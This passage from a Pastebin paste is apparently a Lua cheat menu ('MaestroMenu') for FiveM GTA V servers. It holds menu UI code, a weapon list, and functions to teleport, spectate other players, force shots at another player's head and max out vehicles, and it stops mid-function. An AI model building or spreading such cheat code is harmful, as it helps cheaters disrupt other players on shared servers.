Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- print 'hello u here to disconnect eh? -Cat'
- MaestroMenu = {}
- MaestroMenu.debug = false
- local function RGBRainbow(frequency)
- local result = {}
- local curtime = GetGameTimer() / 1000
- result.r = math.floor(math.sin(curtime * frequency + 0) * 127 + 128)
- result.g = math.floor(math.sin(curtime * frequency + 2) * 127 + 128)
- result.b = math.floor(math.sin(curtime * frequency + 4) * 127 + 128)
- return result
- end
- local menus = {}
- local keys = {up = 172, down = 173, left = 174, right = 175, select = 176, back = 177}
- local optionCount = 0
- local currentKey = nil
- local currentMenu = nil
- local menuWidth = 0.23
- local titleHeight = 0.20
- local titleYOffset = 0.05
- local titleScale = 1.3
- local buttonHeight = 0.038
- local buttonFont = 7
- local buttonScale = 0.365
- local buttonTextXOffset = 0.005
- local buttonTextYOffset = 0.005
- local function debugPrint(text)
- if MaestroMenu.debug then
- Citizen.Trace("[TMmenu] " .. tostring(text))
- end
- end
- local function setMenuProperty(id, property, value)
- if id and menus[id] then
- menus[id][property] = value
- debugPrint(id .. " menu property changed: { " .. tostring(property) .. ", " .. tostring(value) .. " }")
- end
- end
- local function isMenuVisible(id)
- if id and menus[id] then
- return menus[id].visible
- else
- return false
- end
- end
- local function setMenuVisible(id, visible, holdCurrent)
- if id and menus[id] then
- setMenuProperty(id, "visible", visible)
- if not holdCurrent and menus[id] then
- setMenuProperty(id, "currentOption", 1)
- end
- if visible then
- if id ~= currentMenu and isMenuVisible(currentMenu) then
- setMenuVisible(currentMenu, false)
- end
- currentMenu = id
- end
- end
- end
- local function drawText(text, x, y, font, color, scale, center, shadow, alignRight)
- SetTextColour(color.r, color.g, color.b, color.a)
- SetTextFont(font)
- SetTextScale(scale, scale)
- if shadow then
- SetTextDropShadow(2, 2, 0, 0, 0)
- end
- if menus[currentMenu] then
- if center then
- SetTextCentre(center)
- elseif alignRight then
- SetTextWrap(menus[currentMenu].x, menus[currentMenu].x + menuWidth - buttonTextXOffset)
- SetTextRightJustify(true)
- end
- end
- SetTextEntry("STRING")
- AddTextComponentString(text)
- DrawText(x, y)
- end
- local function drawRect(x, y, width, height, color)
- DrawRect(x, y, width, height, color.r, color.g, color.b, color.a)
- end
- local function drawTitle()
- if menus[currentMenu] then
- local x = menus[currentMenu].x + menuWidth / 2
- local y = menus[currentMenu].y + titleHeight / 1.15
- if menus[currentMenu].titleBackgroundSprite then
- DrawSprite(
- menus[currentMenu].titleBackgroundSprite.dict,
- menus[currentMenu].titleBackgroundSprite.name,
- x,
- y,
- menuWidth,
- titleHeight,
- 0.,
- 255,
- 255,
- 255,
- 255
- )
- else
- drawRect(x, y, menuWidth, titleHeight, menus[currentMenu].titleBackgroundColor)
- end
- drawText(
- menus[currentMenu].title,
- x,
- y - titleHeight / 2 + titleYOffset,
- menus[currentMenu].titleFont,
- menus[currentMenu].titleColor,
- titleScale,
- true
- )
- end
- end
- local function drawSubTitle()
- if menus[currentMenu] then
- local x = menus[currentMenu].x + menuWidth / 2
- local y = menus[currentMenu].y + titleHeight + buttonHeight / 2
- local subTitleColor = {
- r = menus[currentMenu].titleBackgroundColor.r,
- g = menus[currentMenu].titleBackgroundColor.g,
- b = menus[currentMenu].titleBackgroundColor.b,
- a = 255
- }
- drawRect(x, y, menuWidth, buttonHeight, menus[currentMenu].subTitleBackgroundColor)
- drawText(
- menus[currentMenu].subTitle,
- menus[currentMenu].x + buttonTextXOffset,
- y - buttonHeight / 2 + buttonTextYOffset,
- buttonFont,
- subTitleColor,
- buttonScale,
- false
- )
- if optionCount > menus[currentMenu].maxOptionCount then
- drawText(
- tostring(menus[currentMenu].currentOption) .. " / " .. tostring(optionCount),
- menus[currentMenu].x + menuWidth,
- y - buttonHeight / 2 + buttonTextYOffset,
- buttonFont,
- subTitleColor,
- buttonScale,
- false,
- false,
- true
- )
- end
- end
- end
- local function drawButton(text, subText)
- local x = menus[currentMenu].x + menuWidth / 2
- local multiplier = nil
- if
- menus[currentMenu].currentOption <= menus[currentMenu].maxOptionCount and
- optionCount <= menus[currentMenu].maxOptionCount
- then
- multiplier = optionCount
- elseif
- optionCount > menus[currentMenu].currentOption - menus[currentMenu].maxOptionCount and
- optionCount <= menus[currentMenu].currentOption
- then
- multiplier = optionCount - (menus[currentMenu].currentOption - menus[currentMenu].maxOptionCount)
- end
- if multiplier then
- local y = menus[currentMenu].y + titleHeight + buttonHeight + (buttonHeight * multiplier) - buttonHeight / 2
- local backgroundColor = nil
- local textColor = nil
- local subTextColor = nil
- local shadow = false
- if menus[currentMenu].currentOption == optionCount then
- backgroundColor = menus[currentMenu].menuFocusBackgroundColor
- textColor = menus[currentMenu].menuFocusTextColor
- subTextColor = menus[currentMenu].menuFocusTextColor
- else
- backgroundColor = menus[currentMenu].menuBackgroundColor
- textColor = menus[currentMenu].menuTextColor
- subTextColor = menus[currentMenu].menuSubTextColor
- shadow = true
- end
- drawRect(x, y, menuWidth, buttonHeight, backgroundColor)
- drawText(
- text,
- menus[currentMenu].x + buttonTextXOffset,
- y - (buttonHeight / 2) + buttonTextYOffset,
- buttonFont,
- textColor,
- buttonScale,
- false,
- shadow
- )
- if subText then
- drawText(
- subText,
- menus[currentMenu].x + buttonTextXOffset,
- y - buttonHeight / 2 + buttonTextYOffset,
- buttonFont,
- subTextColor,
- buttonScale,
- false,
- shadow,
- true
- )
- end
- end
- end
- function MaestroMenu.CreateMenu(id, title)
- -- Default settings
- menus[id] = {}
- menus[id].title = title
- menus[id].subTitle = "INTERACTION MENU"
- menus[id].visible = false
- menus[id].previousMenu = nil
- menus[id].aboutToBeClosed = false
- menus[id].x = 0.75
- menus[id].y = 0.1
- menus[id].currentOption = 1
- menus[id].maxOptionCount = 11
- menus[id].titleFont = 7
- menus[id].titleColor = {r = 0, g = 0, b = 0, a = 255}
- Citizen.CreateThread(
- function()
- while true do
- Citizen.Wait(0)
- local ra = RGBRainbow(1.0)-- RGB MENU DISABLED //
- --menus[id].titleBackgroundColor = {r = ra.r, g = ra.g, b = ra.b, a = 80} --RGB MENU DISABLED // - Culoare titlu
- --menus[id].menuFocusBackgroundColor = {r = ra.r, g = ra.g, b = ra.b, a = 255} --RGB MENU DISABLED // - Culoare meniu
- menus[id].titleBackgroundColor = {r = 0, g = 0, b = 0, a = 0}
- menus[id].menuFocusBackgroundColor = {r = 120, g = 0, b = 120, a = 120}
- end
- end)
- menus[id].titleBackgroundSprite = nil
- menus[id].menuTextColor = {r = 255, g = 255, b = 255, a = 255}
- menus[id].menuSubTextColor = {r = 255, g = 255, b = 255, a = 255}
- menus[id].menuFocusTextColor = {r = 255, g = 255, b = 255, a = 255}
- --menus[id].menuFocusBackgroundColor = { r = 0, g = 0, b = 0, a = 200 }
- menus[id].menuBackgroundColor = {r = 0, g = 0, b = 0, a = 200}
- menus[id].subTitleBackgroundColor = {
- r = menus[id].menuBackgroundColor.r,
- g = menus[id].menuBackgroundColor.g,
- b = menus[id].menuBackgroundColor.b,
- a = 200
- }
- menus[id].buttonPressedSound = {name = "Pin_Good", set = "DLC_HEIST_BIOLAB_PREP_HACKING_SOUNDS"} --https://pastebin.com/0neZdsZ5
- debugPrint(tostring(id) .. " menu created")
- end
- function MaestroMenu.CreateSubMenu(id, parent, subTitle)
- if menus[parent] then
- MaestroMenu.CreateMenu(id, menus[parent].title)
- if subTitle then
- setMenuProperty(id, "subTitle", string.upper(subTitle))
- else
- setMenuProperty(id, "subTitle", string.upper(menus[parent].subTitle))
- end
- setMenuProperty(id, "previousMenu", parent)
- setMenuProperty(id, "x", menus[parent].x)
- setMenuProperty(id, "y", menus[parent].y)
- setMenuProperty(id, "maxOptionCount", menus[parent].maxOptionCount)
- setMenuProperty(id, "titleFont", menus[parent].titleFont)
- setMenuProperty(id, "titleColor", menus[parent].titleColor)
- setMenuProperty(id, "titleBackgroundColor", menus[parent].titleBackgroundColor)
- setMenuProperty(id, "titleBackgroundSprite", menus[parent].titleBackgroundSprite)
- setMenuProperty(id, "menuTextColor", menus[parent].menuTextColor)
- setMenuProperty(id, "menuSubTextColor", menus[parent].menuSubTextColor)
- setMenuProperty(id, "menuFocusTextColor", menus[parent].menuFocusTextColor)
- setMenuProperty(id, "menuFocusBackgroundColor", menus[parent].menuFocusBackgroundColor)
- setMenuProperty(id, "menuBackgroundColor", menus[parent].menuBackgroundColor)
- setMenuProperty(id, "subTitleBackgroundColor", menus[parent].subTitleBackgroundColor)
- else
- debugPrint("Failed to create " .. tostring(id) .. " submenu: " .. tostring(parent) .. " parent menu doesn't exist")
- end
- end
- function MaestroMenu.CurrentMenu()
- return currentMenu
- end
- function MaestroMenu.OpenMenu(id)
- if id and menus[id] then
- PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", true)
- setMenuVisible(id, true)
- if menus[id].titleBackgroundSprite then
- RequestStreamedTextureDict(menus[id].titleBackgroundSprite.dict, false)
- while not HasStreamedTextureDictLoaded(menus[id].titleBackgroundSprite.dict) do
- Citizen.Wait(0)
- end
- end
- debugPrint(tostring(id) .. " menu opened")
- else
- debugPrint("Failed to open " .. tostring(id) .. " menu: it doesn't exist")
- end
- end
- function MaestroMenu.IsMenuOpened(id)
- return isMenuVisible(id)
- end
- function MaestroMenu.IsAnyMenuOpened()
- for id, _ in pairs(menus) do
- if isMenuVisible(id) then
- return true
- end
- end
- return false
- end
- function MaestroMenu.IsMenuAboutToBeClosed()
- if menus[currentMenu] then
- return menus[currentMenu].aboutToBeClosed
- else
- return false
- end
- end
- function MaestroMenu.CloseMenu()
- if menus[currentMenu] then
- if menus[currentMenu].aboutToBeClosed then
- menus[currentMenu].aboutToBeClosed = false
- setMenuVisible(currentMenu, false)
- debugPrint(tostring(currentMenu) .. " menu closed")
- PlaySoundFrontend(-1, "QUIT", "HUD_FRONTEND_DEFAULT_SOUNDSET", true)
- optionCount = 0
- currentMenu = nil
- currentKey = nil
- else
- menus[currentMenu].aboutToBeClosed = true
- debugPrint(tostring(currentMenu) .. " menu about to be closed")
- end
- end
- end
- function MaestroMenu.Button(text, subText)
- local buttonText = text
- if subText then
- buttonText = "{ " .. tostring(buttonText) .. ", " .. tostring(subText) .. " }"
- end
- if menus[currentMenu] then
- optionCount = optionCount + 1
- local isCurrent = menus[currentMenu].currentOption == optionCount
- drawButton(text, subText)
- if isCurrent then
- if currentKey == keys.select then
- PlaySoundFrontend(-1, menus[currentMenu].buttonPressedSound.name, menus[currentMenu].buttonPressedSound.set, true)
- debugPrint(buttonText .. " button pressed")
- return true
- elseif currentKey == keys.left or currentKey == keys.right then
- PlaySoundFrontend(-1, "NAV_UP_DOWN", "ATM_SOUNDS", true)
- end
- end
- return false
- else
- debugPrint("Failed to create " .. buttonText .. " button: " .. tostring(currentMenu) .. " menu doesn't exist")
- return false
- end
- end
- function MaestroMenu.MenuButton(text, id)
- if menus[id] then
- if MaestroMenu.Button(text) then
- setMenuVisible(currentMenu, false)
- setMenuVisible(id, true, true)
- return true
- end
- else
- debugPrint("Failed to create " .. tostring(text) .. " menu button: " .. tostring(id) .. " submenu doesn't exist")
- end
- return false
- end
- function MaestroMenu.CheckBox(text, bool, callback)
- local checked = "~r~Off"
- if bool then
- checked = "~g~On"
- end
- if MaestroMenu.Button(text, checked) then
- bool = not bool
- debugPrint(tostring(text) .. " checkbox changed to " .. tostring(bool))
- callback(bool)
- return true
- end
- return false
- end
- function MaestroMenu.ComboBox(text, items, currentIndex, selectedIndex, callback)
- local itemsCount = #items
- local selectedItem = items[currentIndex]
- local isCurrent = menus[currentMenu].currentOption == (optionCount + 1)
- if itemsCount > 1 and isCurrent then
- selectedItem = "โ " .. tostring(selectedItem) .. " โ"
- end
- if MaestroMenu.Button(text, selectedItem) then
- selectedIndex = currentIndex
- callback(currentIndex, selectedIndex)
- return true
- elseif isCurrent then
- if currentKey == keys.left then
- if currentIndex > 1 then
- currentIndex = currentIndex - 1
- else
- currentIndex = itemsCount
- end
- elseif currentKey == keys.right then
- if currentIndex < itemsCount then
- currentIndex = currentIndex + 1
- else
- currentIndex = 1
- end
- end
- else
- currentIndex = selectedIndex
- end
- callback(currentIndex, selectedIndex)
- return false
- end
- function MaestroMenu.Display()
- if isMenuVisible(currentMenu) then
- if menus[currentMenu].aboutToBeClosed then
- MaestroMenu.CloseMenu()
- else
- ClearAllHelpMessages()
- drawTitle()
- drawSubTitle()
- currentKey = nil
- if IsDisabledControlJustPressed(0, keys.down) then
- PlaySoundFrontend(-1, "PIN_BUTTON", "ATM_SOUNDS", true) --down
- if menus[currentMenu].currentOption < optionCount then
- menus[currentMenu].currentOption = menus[currentMenu].currentOption + 1
- else
- menus[currentMenu].currentOption = 1
- end
- elseif IsDisabledControlJustPressed(0, keys.up) then
- PlaySoundFrontend(-1, "PIN_BUTTON", "ATM_SOUNDS", true) --up
- if menus[currentMenu].currentOption > 1 then
- menus[currentMenu].currentOption = menus[currentMenu].currentOption - 1
- else
- menus[currentMenu].currentOption = optionCount
- end
- elseif IsDisabledControlJustPressed(0, keys.left) then
- currentKey = keys.left
- elseif IsDisabledControlJustPressed(0, keys.right) then
- currentKey = keys.right
- elseif IsDisabledControlJustPressed(0, keys.select) then
- currentKey = keys.select
- elseif IsDisabledControlJustPressed(0, keys.back) then
- if menus[menus[currentMenu].previousMenu] then
- PlaySoundFrontend(-1, "Pin_Bad", "DLC_HEIST_BIOLAB_PREP_HACKING_SOUNDS", true) --back
- setMenuVisible(menus[currentMenu].previousMenu, true)
- else
- MaestroMenu.CloseMenu()
- end
- end
- optionCount = 0
- end
- end
- end
- function MaestroMenu.SetMenuWidth(id, width)
- setMenuProperty(id, "width", width)
- end
- function MaestroMenu.SetMenuX(id, x)
- setMenuProperty(id, "x", x)
- end
- function MaestroMenu.SetMenuY(id, y)
- setMenuProperty(id, "y", y)
- end
- function MaestroMenu.SetMenuMaxOptionCountOnScreen(id, count)
- setMenuProperty(id, "maxOptionCount", count)
- end
- function MaestroMenu.SetTitleColor(id, r, g, b, a)
- setMenuProperty(id, "titleColor", {["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or menus[id].titleColor.a})
- end
- function MaestroMenu.SetTitleBackgroundColor(id, r, g, b, a)
- setMenuProperty(
- id,
- "titleBackgroundColor",
- {["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or menus[id].titleBackgroundColor.a}
- )
- end
- function MaestroMenu.SetTitleBackgroundSprite(id, textureDict, textureName)
- setMenuProperty(id, "titleBackgroundSprite", {dict = textureDict, name = textureName})
- end
- function MaestroMenu.SetSubTitle(id, text)
- setMenuProperty(id, "subTitle", string.upper(text))
- end
- function MaestroMenu.SetMenuBackgroundColor(id, r, g, b, a)
- setMenuProperty(
- id,
- "menuBackgroundColor",
- {["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or menus[id].menuBackgroundColor.a}
- )
- end
- function MaestroMenu.SetMenuTextColor(id, r, g, b, a)
- setMenuProperty(id, "menuTextColor", {["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or menus[id].menuTextColor.a})
- end
- function MaestroMenu.SetMenuSubTextColor(id, r, g, b, a)
- setMenuProperty(id, "menuSubTextColor", {["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or menus[id].menuSubTextColor.a})
- end
- function MaestroMenu.SetMenuFocusColor(id, r, g, b, a)
- setMenuProperty(id, "menuFocusColor", {["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or menus[id].menuFocusColor.a})
- end
- function MaestroMenu.SetMenuButtonPressedSound(id, name, set)
- setMenuProperty(id, "buttonPressedSound", {["name"] = name, ["set"] = set})
- end
- function KeyboardInput(TextEntry, ExampleText, MaxStringLength)
- AddTextEntry("FMMC_KEY_TIP1", TextEntry .. ":")
- DisplayOnscreenKeyboard(1, "FMMC_KEY_TIP1", "", ExampleText, "", "", "", MaxStringLength)
- blockinput = true
- while UpdateOnscreenKeyboard() ~= 1 and UpdateOnscreenKeyboard() ~= 2 do
- Citizen.Wait(0)
- end
- if UpdateOnscreenKeyboard() ~= 2 then
- local result = GetOnscreenKeyboardResult()
- Citizen.Wait(500)
- blockinput = false
- return result
- else
- Citizen.Wait(500)
- blockinput = false
- return nil
- end
- end
- local function getPlayerIds()
- local players = {}
- for i = 0, GetNumberOfPlayers() do
- if NetworkIsPlayerActive(i) then
- players[#players + 1] = i
- end
- end
- return players
- end
- function DrawText3D(x, y, z, text, r, g, b)
- SetDrawOrigin(x, y, z, 0)
- SetTextFont(0)
- SetTextProportional(0)
- SetTextScale(0.0, 0.20)
- SetTextColour(r, g, b, 255)
- SetTextDropshadow(0, 0, 0, 0, 255)
- SetTextEdge(2, 0, 0, 0, 150)
- SetTextDropShadow()
- SetTextOutline()
- SetTextEntry("STRING")
- SetTextCentre(1)
- AddTextComponentString(text)
- DrawText(0.0, 0.0)
- ClearDrawOrigin()
- end
- function math.round(num, numDecimalPlaces)
- return tonumber(string.format("%." .. (numDecimalPlaces or 0) .. "f", num))
- end
- local function RGBRainbow(frequency)
- local result = {}
- local curtime = GetGameTimer() / 1000
- result.r = math.floor(math.sin(curtime * frequency + 0) * 127 + 128)
- result.g = math.floor(math.sin(curtime * frequency + 2) * 127 + 128)
- result.b = math.floor(math.sin(curtime * frequency + 4) * 127 + 128)
- return result
- end
- function drawNotification(text)
- SetNotificationTextEntry("STRING")
- AddTextComponentString(text)
- DrawNotification(false, false)
- end
- local allWeapons = {
- "WEAPON_KNIFE",
- "WEAPON_KNUCKLE",
- "WEAPON_NIGHTSTICK",
- "WEAPON_HAMMER",
- "WEAPON_BAT",
- "WEAPON_GOLFCLUB",
- "WEAPON_CROWBAR",
- "WEAPON_BOTTLE",
- "WEAPON_DAGGER",
- "WEAPON_HATCHET",
- "WEAPON_MACHETE",
- "WEAPON_FLASHLIGHT",
- "WEAPON_SWITCHBLADE",
- "WEAPON_PISTOL",
- "WEAPON_PISTOL_MK2",
- "WEAPON_COMBATPISTOL",
- "WEAPON_APPISTOL",
- "WEAPON_PISTOL50",
- "WEAPON_SNSPISTOL",
- "WEAPON_HEAVYPISTOL",
- "WEAPON_VINTAGEPISTOL",
- "WEAPON_STUNGUN",
- "WEAPON_FLAREGUN",
- "WEAPON_MARKSMANPISTOL",
- "WEAPON_REVOLVER",
- "WEAPON_MICROSMG",
- "WEAPON_SMG",
- "WEAPON_SMG_MK2",
- "WEAPON_ASSAULTSMG",
- "WEAPON_MG",
- "WEAPON_COMBATMG",
- "WEAPON_COMBATMG_MK2",
- "WEAPON_COMBATPDW",
- "WEAPON_GUSENBERG",
- "WEAPON_MACHINEPISTOL",
- "WEAPON_ASSAULTRIFLE",
- "WEAPON_ASSAULTRIFLE_MK2",
- "WEAPON_CARBINERIFLE",
- "WEAPON_CARBINERIFLE_MK2",
- "WEAPON_ADVANCEDRIFLE",
- "WEAPON_SPECIALCARBINE",
- "WEAPON_BULLPUPRIFLE",
- "WEAPON_COMPACTRIFLE",
- "WEAPON_PUMPSHOTGUN",
- "WEAPON_SAWNOFFSHOTGUN",
- "WEAPON_BULLPUPSHOTGUN",
- "WEAPON_ASSAULTSHOTGUN",
- "WEAPON_MUSKET",
- "WEAPON_HEAVYSHOTGUN",
- "WEAPON_DBSHOTGUN",
- "WEAPON_SNIPERRIFLE",
- "WEAPON_HEAVYSNIPER",
- "WEAPON_HEAVYSNIPER_MK2",
- "WEAPON_MARKSMANRIFLE",
- "WEAPON_GRENADELAUNCHER",
- "WEAPON_GRENADELAUNCHER_SMOKE",
- "WEAPON_RPG",
- "WEAPON_STINGER",
- "WEAPON_FIREWORK",
- "WEAPON_HOMINGLAUNCHER",
- "WEAPON_GRENADE",
- "WEAPON_STICKYBOMB",
- "WEAPON_PROXMINE",
- "WEAPON_BZGAS",
- "WEAPON_SMOKEGRENADE",
- "WEAPON_MOLOTOV",
- "WEAPON_FIREEXTINGUISHER",
- "WEAPON_PETROLCAN",
- "WEAPON_SNOWBALL",
- "WEAPON_FLARE",
- "WEAPON_BALL"
- }
- local Enabled = true
- local function TeleportToWaypoint()
- if DoesBlipExist(GetFirstBlipInfoId(8)) then
- local blipIterator = GetBlipInfoIdIterator(8)
- local blip = GetFirstBlipInfoId(8, blipIterator)
- WaypointCoords = Citizen.InvokeNative(0xFA7C7F0AADF25D09, blip, Citizen.ResultAsVector()) --Thanks To Briglair [forum.FiveM.net]
- wp = true
- else
- drawNotification("~r~No waypoint!")
- end
- local zHeigt = 0.0
- height = 1000.0
- while true do
- Citizen.Wait(0)
- if wp then
- if
- IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
- (GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) == GetPlayerPed(-1))
- then
- entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
- else
- entity = GetPlayerPed(-1)
- end
- SetEntityCoords(entity, WaypointCoords.x, WaypointCoords.y, height)
- FreezeEntityPosition(entity, true)
- local Pos = GetEntityCoords(entity, true)
- if zHeigt == 0.0 then
- height = height - 25.0
- SetEntityCoords(entity, Pos.x, Pos.y, height)
- bool, zHeigt = GetGroundZFor_3dCoord(Pos.x, Pos.y, Pos.z, 0)
- else
- SetEntityCoords(entity, Pos.x, Pos.y, zHeigt)
- FreezeEntityPosition(entity, false)
- wp = false
- height = 1000.0
- zHeigt = 0.0
- drawNotification("~g~Teleported to waypoint!")
- break
- end
- end
- end
- end
- function stringsplit(inputstr, sep)
- if sep == nil then
- sep = "%s"
- end
- local t = {}
- i = 1
- for str in string.gmatch(inputstr, "([^" .. sep .. "]+)") do
- t[i] = str
- i = i + 1
- end
- return t
- end
- local Spectating = false
- function SpectatePlayer(player)
- local playerPed = PlayerPedId()
- Spectating = not Spectating
- local targetPed = GetPlayerPed(player)
- if (Spectating) then
- local targetx, targety, targetz = table.unpack(GetEntityCoords(targetPed, false))
- RequestCollisionAtCoord(targetx, targety, targetz)
- NetworkSetInSpectatorMode(true, targetPed)
- drawNotification("Spectating " .. GetPlayerName(player))
- else
- local targetx, targety, targetz = table.unpack(GetEntityCoords(targetPed, false))
- RequestCollisionAtCoord(targetx, targety, targetz)
- NetworkSetInSpectatorMode(false, targetPed)
- drawNotification("Stopped Spectating " .. GetPlayerName(player))
- end
- end
- function ShootPlayer(player)
- local head = GetPedBoneCoords(player, GetEntityBoneIndexByName(player, "SKEL_HEAD"), 0.0, 0.0, 0.0)
- SetPedShootsAtCoord(PlayerPedId(), head.x, head.y, head.z, true)
- end
- function CaPl() local ax = GetPlayerPed(-1) local ay = GetVehiclePedIsIn(ax, true) local m = KeyboardInput("Enter license plate you want", "", 100) if m ~= ""
- then SetVehicleNumberPlateText(ay, m) end end;
- function MaxOut(veh)
- SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
- SetVehicleWheelType(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0) - 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1) - 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2) - 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3) - 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4) - 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5) - 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6) - 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7) - 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8) - 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9) - 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10) - 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11) - 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12) - 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13) - 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 14, 16, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15) - 2, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16) - 1, false)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2, true)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 23, 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 24, 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25) - 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27) - 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28) - 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30) - 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33) - 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34) - 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35) - 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38) - 1, true)
- SetVehicleWindowTint(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3)
- SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
- SetVehicleNumberPlateTextIndex(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4)
- end
- function DelVeh(veh)
- SetEntityAsMissionEntity(Object, 1, 1)
- DeleteEntity(Object)
- SetEntityAsMissionEntity(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1, 1)
- DeleteEntity(GetVehiclePedIsIn(GetPlayerPed(-1), false))
- end
- function Clean(veh)
- SetVehicleDirtLevel(veh, 15.0)
- end
- function engine(veh)
- SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 17, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 18, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 19, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 20, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 21, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 22, true)
- end
- function Clean2(veh)
- SetVehicleDirtLevel(veh, 1.0)
- end
- entityEnumerator = {
- __gc = function(enum)
- if enum.destructor and enum.handle then
- enum.destructor(enum.handle)
- end
- enum.destructor = nil
- enum.handle = nil
- end
- }
- function EnumerateEntities(initFunc, moveFunc, disposeFunc)
- return coroutine.wrap(function()
- local iter, id = initFunc()
- if not id or id == 0 then
- disposeFunc(iter)
- return
- end
- local enum = {handle = iter, destructor = disposeFunc}
- setmetatable(enum, entityEnumerator)
- local next = true
- repeat
- coroutine.yield(id)
- next, id = moveFunc(iter)
- until not next
- enum.destructor, enum.handle = nil, nil
